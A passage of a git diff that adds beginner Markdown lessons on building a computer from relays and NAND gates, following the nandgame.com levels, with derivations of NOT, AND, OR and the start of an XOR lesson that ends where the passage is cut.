+---
+
+## What This Series Is NOT
+
+- **It's not an electronics course.** Voltage calculations, resistance, formulas — none of
+ that. All we need is electricity's single habit: it either flows or it doesn't.
+- **It's not a memorization course.** I won't make you memorize any gate's table. You'll get
+ to know each part *the very moment you need it*, recognizing it as "without this, that job
+ can't be done."
+- **It's not a spectator sport.** **You** will build every part. A circuit you read past is
+ forgotten; a circuit you build with your own hands is yours.
+- **It's not fast.** Each lesson sits on top of the previous one. A stone you skip will trip
+ your foot three lessons later.
+
+---
+
+## First, Let's Break the Fear
+
+The answer to "how does a processor work?" is, in most places, either a two-sentence brush-off
+("it's very complex, billions of transistors...") or a university textbook. Both send the same
+message: *this place is not for you.*
+
+Here's a secret: **at the very bottom of the computer there is nothing hard.** At the very
+bottom there are switches that turn on and off — no different from the lamp switch in your
+home. The difficulty isn't in the individual parts, it's in the *number* of parts. And once
+you learn how to build one, the number stops being terrifying: laying the same brick over and
+over is no harder than understanding a single brick.
+
+> 💡 Getting stuck, the "my brain is fried" feeling, looking at the same spot twice — all of
+> it is normal, and everyone passes through that gate. In this series, slowing down isn't a
+> weakness, it's the method.
+
+---
+
+## One Tool: NandGame
+
+Throughout the whole series we'll use one single tool: **[nandgame.com](https://nandgame.com)**
+
+- **Free.** No sign-up, no installation, no ads. It opens in the browser, you play.
+- **Like a game but real:** each level gives you a task ("build the circuit that satisfies
+ this table"), you drag parts from the boxes on the left and connect them with wires, then
+ you click **Check solution**. The game tries all the combinations for you; if they all
+ pass, the level is done.
+- **Its order is the same as this series' order:** the game's levels follow the construction
+ layers of a real computer. At the end of each lesson, the "now you build it" section sends
+ you to exactly that level of the game.
+
+> 🔑 Let the division of labor be clear from the start: **the lesson gives you the concept,
+> you solve the level.** At the end of each lesson there's also the logic of the solution —
+> but inside folded (click-to-open) boxes, with a "try it yourself first" warning. Opening
+> that box early is up to you; but know that all the joy of this series is in the "I figured
+> it out myself" moments.
+
+---
+
+## What Will You Be Able to Do in the End?
+
+When you finish the part of the series written so far (Unit 0 + 1):
+
+- You'll know what "1 and 0" **physically** is — not a metaphor, but wire and current.
+- You'll have **derived yourself** all the logic gates from a single kind of part (NAND).
+- You'll be able to explain how the computer **counts** and how it **adds**, because you
+ built the adding circuit yourself.
+- The phrase "billions of transistors" won't scare you — because you'll have seen how the
+ floors stack on top of one another.
+
+The series will grow as the game advances: next up are multi-digit addition, subtraction,
+the compute core (ALU), memory, and finally **a real processor that executes instructions.**
+All from the same bricks.
+
+---
+
+## The Big Picture: Why Do We Start From the Switch?
+
+A computer is made of floors. Each floor is built from the one below it — and the moment each
+floor is built, it **lets you forget** the one beneath it:
+
+```
+ PROCESSOR "the machine that executes instructions"
+ ▲ is built from these
+ MEMORY + ALU "the parts that remember and compute"
+ ▲ is built from these
+ ADDERS "circuits that add numbers"
+ ▲ is built from these
+ GATES "AND, OR, NOT... the little parts that make decisions"
+ ▲ is built from these
+ SWITCH / RELAY "the single motion that turns current on and off"
+```
+
+Explanations that start from the top always get stuck in the same place: a floor with no
+foundation turns into rote memorization. We'll do the opposite — starting from **the very
+bottom** and casting each floor ourselves. That way I'll never have to say "just accept this
+as it is" at any point.
+
+> 💡 The claim in this series' name is real: the transistor inside a modern chip is the
+> grandchild of the relay you're about to meet, shrunk billions of times over. The difference
+> is size and speed; **the idea is the same.** Whoever understands the switch has understood
+> the transistor.
+
+---
+
+## Roadmap — Lesson by Lesson
+
+Read the files in this order. Each lesson leans on the previous one.
+
+### 🧱 Unit 0 — The Bricks: From Switches to Gates
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 1 | [01_akim_salter_role](./01_akim_salter_role.md) | What 1 and 0 really are; the relay; the first gate | Nand |
+| 2 | [02_nanddan_kapilar](./02_nanddan_kapilar.md) | All gates from a single brick: NOT, AND, OR | Invert, And, Or |
+| 3 | [03_xor_iki_fedai](./03_xor_iki_fedai.md) | The difference detector XOR — the tale of the two that do the dirty work | Xor |
+| 3.5 | [03.5_soyutlama_merdiveni](./03.5_soyutlama_merdiveni.md) | *(interlude)* Boxing up the floors — the computer's construction secret | — |
+
+### ➕ Unit 1 — Counting and Adding
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 4 | [04_teller_sayi_olunca](./04_teller_sayi_olunca.md) | Loading number-meaning onto wires; binary counting | — *(concept lesson)* |
+| 5 | [05_half_adder](./05_half_adder.md) | The first adder: 1 + 1 = 10 | Half Adder |
+| 6 | [06_full_adder](./06_full_adder.md) | The carry chain: the brick for adding numbers of unlimited size | Full Adder |
+
+### 🔜 On the way (to be written as the game advances)
+
+Multi-bit Adder → subtraction and negative numbers → data routing (Switching) → the compute
+core (ALU) → memory (latch, register, RAM) → **the processor.**
+
+> 💡 Files whose number ends in `.5` are short **interludes**: on the side of the main road,
+> lighter. But don't skip 03.5 — the most important idea of the series is there.
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Both the game levels and the lessons stack on top of each other.
+2. **Solve every level yourself.** Before opening the solution box, genuinely try at least
+ once. Getting stuck is part of the job; the difference between *seeing* the solution and
+ *finding* it is everything this series will give you.
+3. **Decide "done" yourself — but honestly.** A topic is finished not when you pass the level
+ in the game, but when you **can explain it to someone else.** Explain it out loud to
+ yourself; the sentence where you get stuck is the place you go back to.
+4. **Keep a screenshot archive.** Toss the screenshot of every level you solve into a folder.
+ You'll both see your progress and have concrete proof to say "I built this."
+5. **Slow = fast.** A gate you rush past will stop you three levels later.
+
+---
+
+## Sister Series: x86 Assembly
+
+This series has a sibling: the **x86 Assembly** course. The two look at the same machine from
+two ends:
+
+- **This series** builds the worker (the processor) **from parts** — "what is this machine
+ made of?"
+- **The x86 series** teaches you to **give orders** to that worker — "how do you make this
+ machine do work?"
+
+They can be read independently of each other; but if you carry both at once, one day the two
+paths meet: there, you'll see that the `add` order you wrote goes to the adder you built here
+with your own hands. That moment is the reason both of these series exist.
+
+---
+
+## 🔗 Next Step
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — continue here. We'll learn
+ electricity's single habit and build our first gate.
+
+---
+
+*This lesson is part of the "From Switches to a Computer" series. The series proceeds alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
new file mode 100644
index 0000000..3ff2f33
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
@@ -0,0 +1,243 @@
+# ⚡ From Switches to a Computer — Current, the Switch, and the First Gate: NAND
+
+> The computer's alphabet has two letters: **present** and **absent.**
+> In this lesson you'll see what those two letters physically are, you'll meet the
+> part that lets electricity manage itself (the relay), and you'll build the gate
+> that gives the series its name — NAND — with your own hands.
+
+> **This lesson is the foundation of the series.** If the single idea here ("electricity
+> can manage electricity") settles in, the rest of the series is just a repetition of
+> that idea. Don't rush.
+
+---
+
+## 📋 Table of Contents
+
+- [What Are 1 and 0, Really?](#what-are-1-and-0-really)
+- [The Switch: The Part That Decides on Current](#the-switch-the-part-that-decides-on-current)
+- [The Relay: A Switch Whose Own Lever Is Pushed by Electricity](#the-relay-a-switch-whose-own-lever-is-pushed-by-electricity)
+- [The Relay's Two Temperaments: Normally Passing, Normally Cutting](#the-relays-two-temperaments-normally-passing-normally-cutting)
+- [The Transistor: The Relay's Grandchild](#the-transistor-the-relays-grandchild)
+- [First Task: The NAND Gate](#first-task-the-nand-gate)
+- [Why Is the First Gate NAND?](#why-is-the-first-gate-nand)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## What Are 1 and 0, Really?
+
+Every explanation of computers says "ones and zeros," but most of them never say what
+these things **are.** Let's say it:
+
+> **1 = there is current in the wire. 0 = there is no current in the wire.** That's all.
+
+Think of the light switch on your wall. Switch on → there's current in the wire → the
+lamp is lit. We call this state "1." Switch off → no current → "0." In each of the
+billions of wires inside a computer, at every moment, one of these two holds: either
+there is current, or there isn't.
+
+Let's pause here and underline something important:
+
+> 🔑 **The wire doesn't know it's carrying a "1."** In the wire there is simply
+> electricity, or there isn't. "This current means 1," "those three wires mean a
+> number," "that number means the letter A" — these are all **meanings we assign.**
+> Sand (silicon) doesn't know how to add; we give the pattern its meaning. What we do
+> in this series is exactly this: dressing meaningless currents, layer by layer, in
+> meaning.
+
+---
+
+## The Switch: The Part That Decides on Current
+
+The simplest part that turns current on and off is the switch — the very light switch
+itself:
+
+```
+ Current source ───o o─── lamp (lever open: NO current → 0)
+
+ Current source ───o───o─── lamp (lever closed: current YES → 1)
+```
+
+The switch has just one trick: to **open or close** the path of a wire. But it has a
+problem: its lever is pushed by a **finger.** You can't build a computer out of
+something pushed by a finger — there's no finger that can press a button billions of
+times per second.
+
+So what if, instead of a finger... **electricity** pushed the lever?
+
+---
+
+## The Relay: A Switch Whose Own Lever Is Pushed by Electricity
+
+A **relay** is a switch whose lever is pushed by an electromagnet. Inside it there are
+two independent paths:
+
+- **Coil (control input):** if you feed current here, the magnet inside works and pulls
+ the switch's lever.
+- **Contact (the actual path):** the path that the lever opens and closes, the one the
+ actual current flows through.
+
+```
+ control current (to the coil)
+ │
+ ▼
+ ┌───────────┐
+ in ───┤ ⚡ lever ├─── out if the coil is full the lever is pulled,
+ └───────────┘ the in→out path opens or is cut
+```
+
+It looks like an ordinary part. It isn't. Hidden here is the most important idea of
+this series — and, really, of the whole history of computers:
+
+> 💡 **Electricity is managing electricity.** The current in one wire (the coil) decides
+> the fate (the contact) of the current in another wire. This means: you can connect the
+> **output** of one relay to the **control input** of another relay. Decisions can be
+> chained. If decisions can be chained — computation can be built. No finger needed.
+
+---
+
+## The Relay's Two Temperaments: Normally Passing, Normally Cutting
+
+The relay is made in two different temperaments; both are waiting for you in NandGame's
+box:
+
+| NandGame name | Temperament | Coil **empty** (c=0) | Coil **full** (c=1) |
+|---|---|---|---|
+| **relay (default on)** | normally passing | **passes** `in` to the output | **cuts** the path |
+| **relay (default off)** | normally cutting | output **empty** (0) | **passes** `in` to the output |
+
+Think of two guards: one keeps the door **open** by default and closes it when the order
+comes; the other keeps it **closed** by default and opens it when the order comes.
+
+> 💡 **If you're someone who's seen an electrical panel:** these are exactly the NC
+> (normally closed) and NO (normally open) contacts — "default on" = NC, "default off" =
+> NO. If you've built a control circuit, you'll soon see that the computer too is born
+> from the same parts. And if you've never seen one, no worries: saying "normally passing
+> / normally cutting" is enough.
+
+---
+
+## The Transistor: The Relay's Grandchild
+
+Real chips have no relays — because a relay's lever **physically moves,** and a moving
+thing is both slow and wears out. The modern solution is the **transistor**: a part so
+small it's invisible to the eye, which does the same job (one current turning another
+current on and off) **with no moving parts at all.**
+
+To feel the consequence of that size difference: the processor in the device you're
+reading these lines on has **billions** of transistors, and each one can switch on and
+off billions of times per second.
+
+> 🔑 But the idea hasn't changed: **transistor = a switch whose lever is pushed by
+> electricity.** Every circuit you can build with a relay can also be built with a
+> transistor — it's just smaller and faster. That's why in this series we start with the
+> relay with an easy conscience: whoever understands the relay has understood the
+> transistor.
+
+---
+
+## First Task: The NAND Gate
+
+Now we can build our first **gate.** A gate (*gate*) is a few switches joined together
+to make a single **decision:** it looks at the inputs and produces a single output.
+
+Our first gate is named **NAND** (*Not AND* in English — "AND-not"). Its rule is a single
+sentence:
+
+> **If both inputs are 1, the output is 0; in every other case the output is 1.**
+
+Its table (you'll see exactly this table in the game too):
+
+| a | b | output |
+|---|---|:---:|
+| 0 | 0 | **1** |
+| 0 | 1 | **1** |
+| 1 | 0 | **1** |
+| 1 | 1 | **0** |
+
+Like a grumpy guard: it always keeps the door open, but *"if the two of you came
+together, you can't come in."*
+
+---
+
+## Why Is the First Gate NAND?
+
+Because NAND is **universal**: using NAND alone you can build NOT, AND, OR, XOR — that
+is, **all the other gates.** From gates come adders, from adders a computing unit, from
+there memory and the processor... So:
+
+> 🔑 **A single kind of brick is enough.** A chip with billions of transistors is not "a
+> whole lot of different things" — it's largely **billions of repetitions of the same
+> idea.** That's why the game is named NandGame: everything from here on, you'll derive
+> from this first gate.
+
+You'll do this yourself in the next lesson. First let's finish the job at hand.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** [nandgame.com](https://nandgame.com) → first level: **Nand.**
+
+The game gives you two kinds of relay (default on / default off) and also a **V** input —
+"always 1," that is, a source that supplies current continuously (think of it as a wire
+plugged into the outlet). The goal: build the circuit that satisfies the NAND table
+above.
+
+Two pointers before you try:
+
+1. The single row where the inputs are **1 1** is special: only there is the output 0.
+ Which temperament of relay, and connecting the inputs how, asks the question "did both
+ arrive?"
+2. If you need the **opposite** of the result: which temperament of relay *cuts* the path
+ when a 1 reaches its coil?
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Two relays, two jobs:
+
+1. **The "did both arrive?" question — the default off relay.** Connect `a` to its coil
+ and `b` to its input (`in`). Since this relay passes only when the coil is full, for
+ there to be current at its output you need **both a=1 (coil) and b=1 (the current
+ passing through).** So this relay's output = "a AND b".
+2. **The negation — the default on relay.** Connect the previous relay's output to its
+ coil, and `V` (always 1) to its input. When the coil is empty it passes V (output 1);
+ when "a AND b" happens and the coil fills, it cuts the path (output 0).
+
+Result: output = "**not** a AND b" = NAND. With two rusty relays, you've built the
+computer's universal brick.
+
+
+
+When you pass the level, stop and feel this: you just **made electricity make a
+decision.** No finger, no human — current managed current. Everything else is a
+repetition of this.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ 1 = current present, 0 = current absent. Nothing else.
+☐ The wire knows no meaning; WE assign the meaning to the 1/0, the number, the letter.
+☐ The switch turns current on and off — but its lever needs a finger.
+☐ Relay = a switch whose lever is pushed by ELECTRICITY → electricity manages electricity → decisions chain.
+☐ Two temperaments: default on = normally passes (NC), default off = normally cuts (NO).
+☐ Transistor = the relay's motionless, tiny, billions-of-times-fast grandchild. Same idea.
+☐ NAND: only "1 1" gives 0, the rest give 1. The universal brick — everything will derive from it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The roadmap of the series
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Deriving all the gates from this brick
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
new file mode 100644
index 0000000..ffe3b9a
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
@@ -0,0 +1,203 @@
+# 🧱 From Switches to a Computer — All the Gates from a Single Brick
+
+> Last lesson we said "NAND is universal, everything derives from it." Claims like this
+> shouldn't stay just words. In this lesson **you** will prove the claim: using only NAND,
+> you'll build the NOT, AND and OR gates. When the lesson ends you'll hold a
+> four-word language — and we'll never go back to relays again.
+
+> **From this lesson on, NAND is a closed box for you.** We're done with the relays
+> inside it; from now on NAND has only a **table**. This forgetting is deliberate — we'll
+> talk about exactly why in 03.5.
+
+---
+
+## 📋 Table of Contents
+
+- [What We Have: The Closed-Box NAND](#what-we-have-the-closed-box-nand)
+- [NOT (invert): Wiring It to a Mirror](#not-invert-wiring-it-to-a-mirror)
+- [AND: The Inverse of the Inverse](#and-the-inverse-of-the-inverse)
+- [OR: Entering Through the Inverted Gate](#or-entering-through-the-inverted-gate)
+- [A Four-Word Language](#a-four-word-language)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## What We Have: The Closed-Box NAND
+
+From now on we'll draw NAND like this — no insides, just its behavior:
+
+```
+ ┌────────┐
+ a ─────┤ │
+ │ NAND ├───── output 0 only when a=b=1, else 1
+ b ─────┤ │
+ └────────┘
+```
+
+NandGame does the same: the moment you clear the Nand level, a ready-made part called
+**nand** appears in the box of the later levels. That part is the circuit you built —
+its boxed-up form.
+
+Our task: derive three gates using only this box. No tricks, no other parts.
+
+---
+
+## NOT (invert): Wiring It to a Mirror
+
+The simplest gate is **NOT**: it has a single input and inverts it.
+
+| x | output |
+|---|:---:|
+| 0 | **1** |
+| 1 | **0** |
+
+What we have, though, is a two-input NAND. How do you make something with a single input
+out of a two-input part?
+
+Look at NAND's table and read only the rows where **both inputs are the same**:
+
+| a | b | NAND |
+|---|---|:---:|
+| **0** | **0** | 1 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| **1** | **1** | 0 |
+
+`0,0 → 1` and `1,1 → 0`. So when the inputs are always the same, NAND behaves exactly
+like an **inverter**. In that case the solution is: **wire the same wire to both inputs of
+the NAND.**
+
+```
+ ┌────────┐
+ x ──┬──┤ │
+ │ │ NAND ├───── inverse of x
+ └──┤ │
+ └────────┘
+```
+
+> 💡 This little trick is the first "derivation" in the series, and it sums up the method
+> nicely: we didn't invent a new gate — we **forced** the part we had into the rows of its
+> table that serve our purpose. Circuit design is mostly this.
+
+---
+
+## AND: The Inverse of the Inverse
+
+The **AND** gate is just what its name says: 1 if both inputs are 1, otherwise 0.
+
+| a | b | AND |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 0 |
+| 1 | 0 | 0 |
+| 1 | 1 | **1** |
+
+Now place this table side by side with NAND's... did you notice? **It's the exact opposite,
+row by row.** NAND already meant "AND-not"; so:
+
+> **AND = invert NAND's output.** And we just built the inverter.
+
+NAND + NOT (made from NAND) = AND. Two boxes, done.
+
+---
+
+## OR: Entering Through the Inverted Gate
+
+**OR**: 1 if **at least one** of the inputs is 1.
+
+| a | b | OR |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| 1 | 1 | 1 |
+
+This time the job looks hard at first: NAND's table doesn't much resemble OR's. But when you
+think in the guard's language, a way opens up. Compare the two sentences:
+
+- OR: *"let at least one of them **have come**."*
+- NAND: *"don't let both of them **be**."*
+
+Now build the OR sentence backwards: "let at least one have come" = **"don't let both of
+them have NOT come."** Do you see the double negative in it? "Not come" (the inverse of the
+inputs) + "don't let be" (NAND). So:
+
+> **OR = invert BOTH inputs, then feed them into NAND.**
+
+Verify (for a=0, b=1): the inverses are 1 and 0 → NAND(1,0) = 1 ✓. (a=0, b=0): the inverses
+are 1,1 → NAND = 0 ✓. All four rows hold — build it and see.
+
+> 💡 With your own hands you just discovered a famous rule from the history of logic:
+> **De Morgan's law** — "OR is the inverse of the AND of the inverses." Books give it as a
+> formula; you found it with the guard's sentence. They're the same thing, but yours is
+> yours.
+
+---
+
+## A Four-Word Language
+
+Look at your inventory — yesterday it was zero, today you have four gates:
+
+| Gate | Its sentence | How it's built (all from NAND) |
+|---|---|---|
+| **NAND** | "don't let both be" | 2 relays *(lesson 01)* |
+| **NOT** | "the inverse" | NAND with its inputs joined |
+| **AND** | "both" | NAND + NOT |
+| **OR** | "at least one" | NAND with its inputs inverted |
+
+> 🔑 Notice: the table has no relay column, because we no longer need one. **Everything is
+> in terms of NAND** — and what's inside NAND (a relay, a transistor, some entirely
+> different technology) is of no concern to this table. Even if the lower layer changes,
+> these four words stay valid. This is exactly the power of the concept of a "layer."
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** the next three levels in NandGame: **Invert → And → Or.**
+
+The lesson has already shown the way; still, verify your table yourself as you build: at
+each level, change the input buttons by hand and watch the output. The confirmation of
+"Check solution" and seeing it with your own eyes are two different things — the second one
+teaches.
+
+
+🔒 How all three are built, at a glance — try it yourself first, then open
+
+- **Invert:** wire `x` to **both inputs** of the NAND.
+- **And:** feed `a,b` into NAND; run NAND's output through an **invert**.
+- **Or:** run `a` through one invert and `b` through a separate invert; feed the two
+ inverses into **NAND**.
+
+(The game puts the part you built in the previous level into the box of the next level — you
+can use invert as a ready-made part in And and Or.)
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ NAND is now a closed box: no insides, just a table. We're done with relays.
+☐ NOT = give the same wire to both NAND inputs ("wiring it to a mirror").
+☐ AND = NAND + invert (NAND already meant "AND-not").
+☐ OR = invert the inputs, then NAND ("don't let both have NOT come").
+☐ Along this path you discovered De Morgan's law by yourself.
+☐ The method is called derivation: don't invent new parts, force the one you have into its table.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — What was inside NAND: relays
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The next gate: XOR, the difference detector
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Why the "closed box" idea matters so much
+
+---
+
+**Previous topic:** [01_akim_salter_role.md](./01_akim_salter_role.md)
+**Next topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
new file mode 100644
index 0000000..0672547
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
@@ -0,0 +1,109 @@
+# 🪜 From Switches to a Computer — Interlude: The Ladder of Abstraction
+
+> For three lessons now you've been doing something you probably never named: every
+> circuit you build, you **close up** and climb on top of. This short interlude gives
+> that move a name. Because that move isn't a habit — it's **the one and only reason a
+> computer can exist at all.**
+
+> *(Interlude: short, no circuits, no game. Pour yourself a tea, read it, move on.)*
+
+---
+
+## Look at the Ladder
+
+Here's what you've done so far, in order:
+
+1. You started with the **relay**. Your head was in the coil, in the contact — "when the coil fills up, the arm gets pulled..."
+2. From two relays you built the **NAND**. And something happened: the moment you built the NAND, you
+ **forgot** the relays. In the later levels the NAND was a box you couldn't see inside of;
+ it just had a table.
+3. From NANDs you built **NOT, AND, OR**. They got boxed up too.
+4. From gates you built **XOR**. Now it's in a box too: two inputs, one table, and nobody
+ cares what's inside.
+
+```
+ ┌ XOR ┐ ← you are here right now
+ │ from gates │
+ ┌ OR/AND/NOT ┐ ← boxed up
+ │ from NANDs │
+ ┌ NAND ┐ ← boxed up
+ │ from relays │
+ ┌ RELAY ┐ ← boxed up (you forgot it long ago)
+ │ from physics... │
+```
+
+We'll call this the **ladder of abstraction**. The rule fits in one sentence:
+
+> 🔑 **One floor's ANSWER is the next floor's SIGNAL.** When you built the XOR, you didn't
+> think of OR's output as "OR's output" — you fed it to the AND as an ordinary signal, like
+> a, b. The lower floor closes up; the wire it produces behaves like an input that was there
+> from birth on the floor above.
+
+---
+
+## Why Does This Matter So Much?
+
+Let's do a bit of arithmetic. Inside the XOR there are 3 gates; inside each gate a few NANDs,
+inside each NAND 2 relays. So the thing you call XOR is really a machine made of a dozen
+relays. We're going to build an adder — inside it there will be several XORs. By the time we
+reach the processor the count will run into the **billions**.
+
+**Nobody can hold a billion parts in their head at once.** Computer engineering didn't solve
+this — it **never had to**, because thanks to the ladder nobody needs to think about a billion
+parts:
+
+- Whoever designs the relay thinks about a magnet — they don't care about the NAND.
+- Whoever builds the NAND thinks about two relays — they don't care about the XOR.
+- Whoever builds the adder thinks about a few gates — they don't even remember that a thing called a relay exists.
+
+Every floor works with **a handful of parts**. What you call a billion is a stack of handfuls piled on top of each other.
+
+> 💡 You've lived through a proof of this: in lesson 02 we said "we won't go back to relays
+> anymore," and we didn't. Did you lose anything? No — because the NAND's table carried
+> everything the relay could ever give. If a floor is closed up correctly, what's below it can
+> be **safely** forgotten.
+
+---
+
+## The Ladder's Two Faces
+
+The same ladder runs in both directions, and you're doing both in this series:
+
+- **Up (while building):** build the part → box it up → use it as a part on the floor above.
+ NandGame's level layout is exactly this: every level you solve shows up as a ready-made part
+ in the next level's box.
+- **Down (when you want to understand):** open any box, read it in the language of the floor
+ below. "How does XOR work?" → gates. "How about AND?" → NANDs. "NAND?" → relays.
+ There's no wall on any floor; **every box can be opened.** This is the technical meaning of
+ the sentence "a computer is not magic."
+
+> ⚠️ The ladder's only danger: closing up a floor before it has **settled**. For you to be able
+> to trust a box's table, you have to have actually built it at least once. That's why skipping
+> levels is forbidden in this series — a box you didn't solve is a box you can't trust.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Ladder of abstraction: build → box up → climb on top. The lower floor is safely forgotten.
+☐ Rule: one floor's ANSWER is the next floor's SIGNAL.
+☐ A billion-part chip is possible this way: nobody thinks about the billion, everybody thinks about one handful.
+☐ The ladder also goes down: every box can be opened. No magic.
+☐ The one forbidden move: closing up a floor that hasn't settled. Don't trust a box you didn't build.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — The first boxing-up: NAND closes
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The last rung of the ladder you stepped on
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — Now a new floor: the floor of meaning
+
+---
+
+**Previous topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+**Next topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along together with [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
new file mode 100644
index 0000000..ef0f568
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
@@ -0,0 +1,174 @@
+# 🚪 From Switches to a Computer — XOR: The Tale of Two Bouncers
+
+> The gates so far were one-sentence characters: "both," "at least one,"
+> "the opposite." In this lesson, for the first time, you'll build a gate that asks for
+> **two sentences at once**: XOR, the difference detector. Along the way you'll learn two things: what it means
+> for gates to form a **team** — and the strange fact that will open the door to the next unit: XOR is, in fact,
+> a secret **adder.**
+
+> XOR is the series' "my brain is fried" stop: the first multi-gate structure. The burn is normal and
+> temporary — this lesson was written for exactly that wall.
+
+---
+
+## 📋 Table of Contents
+
+- [Mission: The Difference Detector](#mission-the-difference-detector)
+- [Why Isn't One Gate Enough?](#why-isnt-one-gate-enough)
+- [Two Bouncers, One Approval Desk](#two-bouncers-one-approval-desk)
+- [Verify the Table with the Bouncers](#verify-the-table-with-the-bouncers)
+- [XOR's Secret Identity (Trailer for the Coming Unit)](#xors-secret-identity-trailer-for-the-coming-unit)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## Mission: The Difference Detector
+
+**XOR** (from *exclusive or*), looks at its two inputs and asks a single
+question: **"are you two different?"**
+
+| a | b | XOR | reading |
+|---|---|:---:|---|
+| 0 | 0 | **0** | same → 0 |
+| 0 | 1 | **1** | different → 1 |
+| 1 | 0 | **1** | different → 1 |
+| 1 | 1 | **0** | same → 0 |
+
+You can read the same table through a second lens: the output is 1 only when there is **exactly one
+1**. Both readings are correct; tuck the second one in your pocket, it'll come in handy this lesson.
+
+---
+
+## Why Isn't One Gate Enough?
+
+Try the gates you have, one by one — which one matches this table?
+
+- **Try OR:** "at least one." Same as XOR for the first three rows... but it blows it on the last row:
+ OR(1,1)=1, while XOR wants it to be 0. ✗
+- **Try NAND:** "not both." It nails the last row (1,1→0)... but it blows it on the first
+ row: NAND(0,0)=1, while XOR wants it to be 0. ✗
+- **AND**, **NOT** — try them, none of them can hit all four of the four rows.
+
+Here's the reason: what XOR wants is **not a single condition, but the intersection of two conditions:**
+
+1. "At least one of you be 1" *(eliminates 0,0)*
+2. "But don't both of you be 1" *(eliminates 1,1)*
+
+A single gate says a single sentence. A two-sentence job needs a **team**.
+
+> 🔑 This is the first big design lesson in the series: a complex request breaks down into the **intersection
+> of simple requests.** A gate for each simple request, and a gate for the intersection — and the job's
+> done. You'll build every circuit from here on like this: first split into sentences, then hand out gates
+> to the sentences.
+
+---
+
+## Two Bouncers, One Approval Desk
+
+Now set up the story. Picture a club door; the rule for getting in is "exactly one of you two."
+Two bouncers stand at the door, and each one enforces **a single rule**:
+
+- **The OR bouncer:** *"At least one of you must have shown up."* — Doesn't approve an empty arrival (0,0).
+- **The NAND bouncer:** *"But you can't both come in."* — Doesn't approve a paired arrival (1,1).
+
+The **approval desk (AND)** inside does just one thing: **if both bouncers say "okay"**
+it opens the door.
+
+```
+ a ──┬──────────► [ OR bouncer ] ──┐
+ │ ├──► [ AND approval desk ] ──► XOR output
+ b ──┴──────────► [ NAND bouncer ] ─┘
+```
+
+(a and b appear to both bouncers **at the same time** — the wires fork, no one waits their turn.)
+
+---
+
+## Verify the Table with the Bouncers
+
+Run each of the four possibilities through the gates one by one:
+
+| Arrivals (a,b) | OR bouncer | NAND bouncer | Approval desk (AND) |
+|---|:---:|:---:|:---:|
+| 0, 0 — nobody | ✗ "nobody showed up" (0) | ✓ (1) | **0** — no entry |
+| 0, 1 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 0 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 1 — a pair | ✓ (1) | ✗ "you can't both come in" (0) | **0** — no entry |
+
+Four rows, four hits. XOR = **AND( OR(a,b), NAND(a,b) )** — but don't memorize this
+formula; remember the story, and the formula rewrites itself.
+
+> 💡 Did you notice: all three gates on the team are from the previous lesson — OR, NAND, AND. XOR
+> isn't "a new invention," it's the **division of labor among old acquaintances.** Number of new parts: zero.
+
+---
+
+## XOR's Secret Identity (Trailer for the Coming Unit)
+
+Take out that second reading you pocketed: XOR = "1 if there is exactly one 1."
+
+Now answer this question: **what do you get if you add 0 and 1?** 1. And 1 and 1? 2 —
